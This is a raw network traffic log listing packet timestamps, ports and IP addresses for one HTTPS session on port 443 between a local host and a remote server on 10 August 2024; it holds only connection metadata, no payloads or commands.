Aug 10, 2024 19:10:10.379306078 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.379337072 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.379348040 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.379375935 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.379652977 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.379702091 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.379724979 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.379745007 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.379776001 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.379795074 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.379991055 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.380039930 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.380064011 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.380074978 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.380103111 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.380141020 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.490938902 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.490973949 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.491022110 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.491172075 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.491172075 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.491238117 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.491281033 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.491316080 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.491332054 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.491359949 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.491368055 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.491384983 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.491396904 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.491441965 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.491461039 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.491528988 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.491573095 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.491715908 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.491715908 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.491776943 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.491835117 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.492458105 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.492553949 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.492563963 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.492630005 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.492674112 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.492697954 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.492713928 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.492764950 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.492933035 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.492933035 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.492966890 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.492999077 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.493046045 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.493065119 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.493066072 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.493115902 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.493156910 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.493177891 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.493232012 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.493272066 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.493310928 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.493323088 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.493355989 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.493385077 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.493411064 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.493458033 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.493489981 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.493500948 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.493530035 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.493554115 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.494668961 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.494728088 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.494760036 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.494770050 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.494797945 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.494818926 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.494882107 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.494924068 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.494956970 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.494967937 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.494996071 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.495017052 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.495393038 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.495462894 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.495497942 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.495515108 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.495546103 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.495569944 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.495676041 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.495716095 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.495748043 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.495759010 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.495786905 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.495810032 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.495882988 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.495927095 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.495959044 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.495970011 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.495996952 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.496021032 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.496989012 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.497037888 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.497076035 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.497087002 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.497117996 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.497134924 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.497226000 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.497268915 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.497303963 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.497313976 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.497342110 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.497363091 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.497410059 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.497466087 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.497498035 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.497508049 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.497534990 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.497551918 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.498572111 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.498619080 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.498656034 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.498672009 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.498697042 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.498714924 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.498795033 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.498847008 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.498878956 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.498889923 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.498919964 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.498938084 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.499208927 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.499253035 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.499281883 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.499296904 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.499320984 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.499339104 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.499486923 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.499532938 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.499563932 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.499578953 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.499603033 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.499620914 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.499716997 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.499761105 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.499794006 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.499804020 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.499831915 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.499851942 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.500375986 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.500416994 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.500449896 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.500519991 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.500549078 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.500575066 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.500623941 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.500644922 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.500685930 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.500695944 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.500724077 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.500741959 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.500767946 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.500793934 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.500832081 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.500843048 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.500870943 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.500889063 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.692950964 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.693013906 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.693144083 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.693145037 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.693176031 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.693200111 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.693239927 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.693250895 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.693264961 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.693278074 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.693291903 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.693305016 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.693341017 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.693351984 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.693517923 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.693566084 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.693583965 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.693591118 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.693624020 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.693635941 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.693667889 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.693718910 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.693747997 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.693758965 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.693806887 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.693806887 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.694089890 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.694133997 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.694173098 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.694189072 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.694214106 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.694232941 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.694294930 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.694344997 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.694371939 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.694382906 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.694411993 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.694432974 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.694792986 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.694852114 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.694895983 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.694911957 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.694936037 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.694955111 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.695053101 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.695105076 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.695139885 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.695154905 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.695180893 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.695198059 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.695262909 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.695312023 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.695332050 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.695343018 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.695400000 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.695463896 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.695892096 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.695935011 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.695965052 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.695980072 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.696006060 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.696006060 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.696033001 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.696075916 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.696228027 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.696265936 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.696289062 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.696300983 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.696331024 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.696376085 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.696422100 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.696443081 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.696455002 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.696482897 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.696512938 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.696960926 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.697010994 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.697038889 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.697053909 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.697082043 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.697102070 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.697197914 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.697243929 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.697268963 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.697279930 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.697312117 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.697312117 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.697379112 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.697422981 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.697451115 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.697467089 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.697493076 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.697516918 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.697942019 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.697985888 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.698015928 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.698031902 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.698055983 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.698072910 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.698149920 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.698200941 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.698225021 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.698235035 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.698261976 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.698282957 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.698604107 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.698647976 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.698673964 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.698684931 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.698712111 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.698729038 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.698951960 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.698998928 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.699019909 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.699029922 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.699080944 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.699100018 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.699184895 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.699235916 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.699256897 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.699268103 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.699306011 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.699306011 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.699393988 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.699439049 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.699462891 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.699474096 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.699505091 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.699526072 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.699971914 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.700026989 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.700047016 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.700057983 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.700088024 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.700104952 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.700254917 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.700304985 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.700323105 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.700335026 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.700371027 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.700371981 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.700505018 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.700531960 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.700576067 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.700577974 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.700589895 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.700612068 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.700627089 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.700639963 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.700669050 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.700690031 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.701059103 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.701081991 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.701126099 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.701142073 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.701172113 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.701196909 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.701441050 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.701462984 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.701507092 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.701522112 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.701545954 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.701551914 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.701571941 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.701579094 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.701591015 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.701592922 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.701647997 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:11.701661110 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:11.701679945 CEST	443	49734	185.93.1.250	192.168.2.4
